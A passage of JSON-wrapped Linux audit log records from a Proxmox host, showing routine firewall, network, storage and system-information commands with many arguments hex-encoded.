type=PROCTITLE msg=audit(1781966185.725:68816): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964819952,"@rawstring":"node=pve type=EXECVE msg=audit(1781964819.952:62772): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781966185725,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.725:68815): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964819952,"@rawstring":"node=pve type=EXECVE msg=audit(1781964819.952:62771): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781966185720,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.720:68814): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964819950,"@rawstring":"node=pve type=EXECVE msg=audit(1781964819.950:62770): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781966185720,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.720:68813): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964816096,"@rawstring":"node=pve type=EXECVE msg=audit(1781964816.096:62769): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966185720,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.720:68812): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964816093,"@rawstring":"node=pve type=EXECVE msg=audit(1781964816.093:62768): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966185450,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.450:68811): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964816092,"@rawstring":"node=pve type=EXECVE msg=audit(1781964816.092:62767): argc=1 a0=\"date\""} {"@timestamp":1781966185448,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.448:68810): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964816087,"@rawstring":"node=pve type=EXECVE msg=audit(1781964816.087:62765): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966185446,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.446:68809): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964816082,"@rawstring":"node=pve type=EXECVE msg=audit(1781964816.082:62764): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966185446,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.446:68808): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964816075,"@rawstring":"node=pve type=EXECVE msg=audit(1781964816.075:62763): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966185442,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.442:68807): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964816069,"@rawstring":"node=pve type=EXECVE msg=audit(1781964816.069:62762): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966185434,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.434:68806): proctitle=\"ip6tables-save\""} {"@timestamp":1781964816061,"@rawstring":"node=pve type=EXECVE msg=audit(1781964816.061:62761): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966185427,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.427:68805): proctitle=\"iptables-save\""} {"@timestamp":1781964816054,"@rawstring":"node=pve type=EXECVE msg=audit(1781964816.054:62759): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966185419,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.419:68804): proctitle=\"ip6tables-save\""} {"@timestamp":1781964816051,"@rawstring":"node=pve type=EXECVE msg=audit(1781964816.051:62758): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966185412,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.412:68803): proctitle=\"iptables-save\""} {"@timestamp":1781964816045,"@rawstring":"node=pve type=EXECVE msg=audit(1781964816.045:62757): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966185409,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.409:68802): proctitle=\"ebtables-restore\""} {"@timestamp":1781964816039,"@rawstring":"node=pve type=EXECVE msg=audit(1781964816.039:62756): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966185406,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.406:68801): proctitle=\"ebtables-restore\""} {"@timestamp":1781964816034,"@rawstring":"node=pve type=EXECVE msg=audit(1781964816.034:62755): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966185400,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.400:68800): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964816029,"@rawstring":"node=pve type=EXECVE msg=audit(1781964816.029:62754): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966185394,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.394:68799): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964816023,"@rawstring":"node=pve type=EXECVE msg=audit(1781964816.023:62753): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966185389,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.389:68798): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964816017,"@rawstring":"node=pve type=EXECVE msg=audit(1781964816.017:62752): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966185383,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.383:68797): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964816013,"@rawstring":"node=pve type=EXECVE msg=audit(1781964816.013:62751): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966185377,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.377:68796): proctitle=697073657400726573746F7265"} {"@timestamp":1781964816010,"@rawstring":"node=pve type=EXECVE msg=audit(1781964816.010:62750): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966185368,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.368:68795): proctitle=\"ip6tables-save\""} {"@timestamp":1781964816010,"@rawstring":"node=pve type=EXECVE msg=audit(1781964816.010:62749): argc=1 a0=\"date\""} {"@timestamp":1781966185361,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.361:68794): proctitle=\"iptables-save\""} {"@timestamp":1781964816006,"@rawstring":"node=pve type=EXECVE msg=audit(1781964816.006:62747): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966185357,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.357:68793): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964815999,"@rawstring":"node=pve type=EXECVE msg=audit(1781964815.999:62746): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966185354,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.354:68792): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964815993,"@rawstring":"node=pve type=EXECVE msg=audit(1781964815.993:62745): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966185353,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.353:68791): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964815988,"@rawstring":"node=pve type=EXECVE msg=audit(1781964815.988:62744): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966185353,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.353:68790): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964815983,"@rawstring":"node=pve type=EXECVE msg=audit(1781964815.983:62743): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966185349,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.349:68789): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964815977,"@rawstring":"node=pve type=EXECVE msg=audit(1781964815.977:62742): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966185342,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.342:68788): proctitle=\"ip6tables-save\""} {"@timestamp":1781964815754,"@rawstring":"node=pve type=EXECVE msg=audit(1781964815.754:62741): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966185334,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.334:68787): proctitle=\"iptables-save\""} {"@timestamp":1781964815740,"@rawstring":"node=pve type=EXECVE msg=audit(1781964815.740:62738): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966185327,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.327:68786): proctitle=69707365740073617665"} {"@timestamp":1781964814129,"@rawstring":"node=pve type=EXECVE msg=audit(1781964814.129:62735): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966185319,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.319:68785): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964814098,"@rawstring":"node=pve type=EXECVE msg=audit(1781964814.098:62734): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966185310,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.310:68784): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964810734,"@rawstring":"node=pve type=EXECVE msg=audit(1781964810.734:62733): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966185055,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.055:68783): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964810718,"@rawstring":"node=pve type=EXECVE msg=audit(1781964810.718:62730): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966185029,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966185.029:68782): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964805965,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.965:62727): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966180715,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966180.715:68781): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805962,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.962:62726): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966180715,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966180.715:68780): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805961,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.961:62725): argc=1 a0=\"date\""} {"@timestamp":1781966180715,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966180.715:68779): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805957,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.957:62723): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966180706,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966180.706:68778): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805951,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.951:62722): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966180706,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966180.706:68777): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805945,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.945:62721): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966180706,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966180.706:68776): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805938,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.938:62720): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966175697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.697:68775): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805932,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.932:62719): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966175697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.697:68774): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805927,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.927:62717): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966175697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.697:68773): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805923,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.923:62716): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966175689,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.689:68772): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805918,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.918:62715): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966175689,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.689:68771): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805913,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.913:62714): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966175689,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.689:68770): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805908,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.908:62713): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966175297,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.297:68769): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964805902,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.902:62712): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966175294,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.294:68768): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964805897,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.897:62711): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966175293,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.293:68767): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964805890,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.890:62710): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966175293,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.293:68766): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964805887,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.887:62709): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966175289,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.289:68765): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964805884,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.884:62708): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966175281,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.281:68764): proctitle=\"ip6tables-save\""} {"@timestamp":1781964805883,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.883:62707): argc=1 a0=\"date\""} {"@timestamp":1781966175272,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.272:68763): proctitle=\"iptables-save\""} {"@timestamp":1781964805879,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.879:62705): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966175265,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.265:68762): proctitle=\"ip6tables-save\""} {"@timestamp":1781964805873,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.873:62704): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966175257,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.257:68761): proctitle=\"iptables-save\""} {"@timestamp":1781964805867,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.867:62703): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966175253,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.253:68760): proctitle=\"ebtables-restore\""} {"@timestamp":1781964805862,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.862:62702): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966175250,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.250:68759): proctitle=\"ebtables-restore\""} {"@timestamp":1781964805856,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.856:62701): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966175245,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.245:68758): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964805850,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.850:62700): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966175237,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.237:68757): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964805712,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.712:62699): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966175231,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.231:68756): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964805705,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.705:62696): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966175225,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.225:68755): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964805039,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.039:62693): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966175219,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.219:68754): proctitle=697073657400726573746F7265"} {"@timestamp":1781964805015,"@rawstring":"node=pve type=EXECVE msg=audit(1781964805.015:62692): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966175212,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.212:68753): proctitle=\"ip6tables-save\""} {"@timestamp":1781964804993,"@rawstring":"node=pve type=EXECVE msg=audit(1781964804.993:62691): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966175205,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.205:68752): proctitle=\"iptables-save\""} {"@timestamp":1781964804210,"@rawstring":"node=pve type=EXECVE msg=audit(1781964804.210:62690): argc=1 a0=\"whoami\""} {"@timestamp":1781966175200,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.200:68751): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964800696,"@rawstring":"node=pve type=EXECVE msg=audit(1781964800.696:62689): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966175197,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.197:68750): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964800682,"@rawstring":"node=pve type=EXECVE msg=audit(1781964800.682:62686): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966175196,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.196:68749): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964796289,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.289:62683): argc=2 a0=\"cat\" a1=\"/usr/local/rvm/RELEASE\""} {"@timestamp":1781966175196,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.196:68748): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964796287,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.287:62682): argc=2 a0=\"cat\" a1=\"/usr/local/rvm/VERSION\""} {"@timestamp":1781966175192,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.192:68747): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964796263,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.263:62681): argc=3 a0=\"/bin/sh\" a1=\"/usr/bin/which\" a2=\"sudo\""} {"@timestamp":1781966175184,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.184:68746): proctitle=\"ip6tables-save\""} {"@timestamp":1781964796239,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.239:62680): argc=3 a0=\"tr\" a1=\"[A-Z]\" a2=\"[a-z]\""} {"@timestamp":1781966175177,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.177:68745): proctitle=\"iptables-save\""} {"@timestamp":1781964796235,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.235:62679): argc=2 a0=\"dpkg\" a1=\"--print-architecture\""} {"@timestamp":1781966175170,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.170:68744): proctitle=69707365740073617665"} {"@timestamp":1781964796232,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.232:62677): argc=3 a0=\"head\" a1=\"-n\" a2=\"1\""} {"@timestamp":1781966175162,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.162:68743): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964796233,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.233:62678): argc=3 a0=\"awk\" a1=\"-F.\" a2=7B7072696E742024317D"} {"@timestamp":1781966175153,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966175.153:68742): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964796232,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.232:62676): argc=4 a0=\"awk\" a1=\"-F=\" a2=24313D3D2256455253494F4E5F4944227B67737562282F222F2C2222293B7072696E742024327D a3=\"/etc/os-release\""} {"@timestamp":1781966174913,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966174.913:68741): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964796228,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.228:62673): argc=3 a0=\"head\" a1=\"-n\" a2=\"1\""} {"@timestamp":1781966174888,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966174.888:68740): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964796229,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.229:62675): argc=3 a0=\"tr\" a1=\"[A-Z]\" a2=\"[a-z]\""} {"@timestamp":1781966170680,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966170.680:68739): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964796228,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.228:62674): argc=3 a0=\"tr\" a1=\"-d\" a2=22"} {"@timestamp":1781966170680,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966170.680:68738): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964796227,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.227:62672): argc=4 a0=\"awk\" a1=\"-F=\" a2=24313D3D224944227B7072696E742024327D a3=\"/etc/os-release\""} {"@timestamp":1781966170680,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966170.680:68737): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964796220,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.220:62671): argc=3 a0=\"/bin/sh\" a1=\"/usr/bin/which\" a2=\"which\""} {"@timestamp":1781966170675,"@rawstring":"node=pve 